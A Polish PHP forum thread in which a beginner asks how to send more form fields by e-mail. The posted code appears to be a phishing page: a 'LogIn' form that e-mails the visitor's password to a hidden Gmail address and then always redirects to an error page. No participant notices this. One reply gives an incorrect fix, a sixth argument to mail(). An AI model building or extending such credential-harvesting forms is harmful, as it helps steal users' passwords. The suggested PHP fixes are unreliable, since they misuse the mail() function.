Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]poprawa skryptu wysylajacego e-maila
Forum PHP.pl > Forum > Przedszkole
embotron
Witam, gdy mam formularz z opcjami "imie" i "nazwisko" e-mail wysyla sie idealnie, wszystko dziala, jednak gdy dodam 3 opcje, np "wiek" to juz jest problem. Potrzebuje skryptu, dzieki ktoremu wysle wiecej niz 2 dane emailem.
W php jestem zielony, jednak potrzebuje tego jak najszybciej, dlatego nie mam czasu, aby uczyc sie wszystkiego i dojsc do tego samemu. Prosze o, prawdopodobnie, banalna korekte, z gory dzieki.

skrypt.php
<?PHP
$adresat = 'X@gmail.com'; // pod ten adres zostanie wysłana // wiadomosc
@$email = $_POST['email'];
@$content = $_POST['password'];
$header = "From: X@poczta.fm \nContent-Type:".
' text/plain;charset="iso-8859-2"'.
"\nContent-Transfer-Encoding: 8bit";
if (mail($adresat, 'List ze strony', $content, $email, $header))
header("Location: /erroreng.php");
else
header("Location: /erroreng.php");
?>



czesc kodu:
<form action="skrypt.php" method="post">
<font color="white">e-mail:<br>
<input type="text" name="email" value=""><br>
Password:<br>
<input type="password" name="password" value=""><br>
Nazwisko:<br></font>
<input type="password" name="nazwisko" value="">
<Br><input type="submit" value="LogIn" />

embotron
20 wyswietlen i nikt nie pomoze?sad.gif
!*!
http://pl.wikibooks.org/wiki/PHP/Formularze

Cytat
dlatego nie mam czasu

My też nie mamy czasu.
embotron
Cytat(!*! @ 20.04.2013, 12:36:50 ) *


Dobra, a ja potrzebuje tego na dzis, nie jest latwo sie tego nauczyc w kilka godzin, typowo polskie podejscie, nie umiesz to sie naucz, a nie pytaj o pomoc.
!*!
Też potrzebuje wielu rzeczy na dziś, a jeszcze więcej na wczoraj.
Jakbyś przeczytał stronę którą Ci podałem, wiedziałbyś że brakuje Ci zmiennej POST i odpowiedniego pola w formularzu.
A jak już wstawiasz kod na forum to rób to w odpowiednich znacznikach.
Andrzej.W.
Dodaj to w html:
Kod
Wiek: <input type="text" name="age">


to w linijce pod @$content:
Kod
@$age=$_POST['age'];


I tego ifa z Twojego kodu zmień na tego.
Kod
if (mail($adresat, 'List ze strony', $content, $email, $header, $age))


Z tego co widzę, tylko tyle umiem przekazać. Nie rozumiem tej @ przed zmiennymi pobieranymi z formularzy.

Kod umieszczaj pomiędzy [code][/code]
PrinceOfPersia
Cytat(embotron @ 20.04.2013, 13:39:31 ) *
Dobra, a ja potrzebuje tego na dzis, nie jest latwo sie tego nauczyc w kilka godzin, typowo polskie podejscie, nie umiesz to sie naucz, a nie pytaj o pomoc.

nie. Typowo polskie podejście to robienie wszystkiego na ostatnią chwilę, a potem błaganie randomowych ludzi z netu o pomoc.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.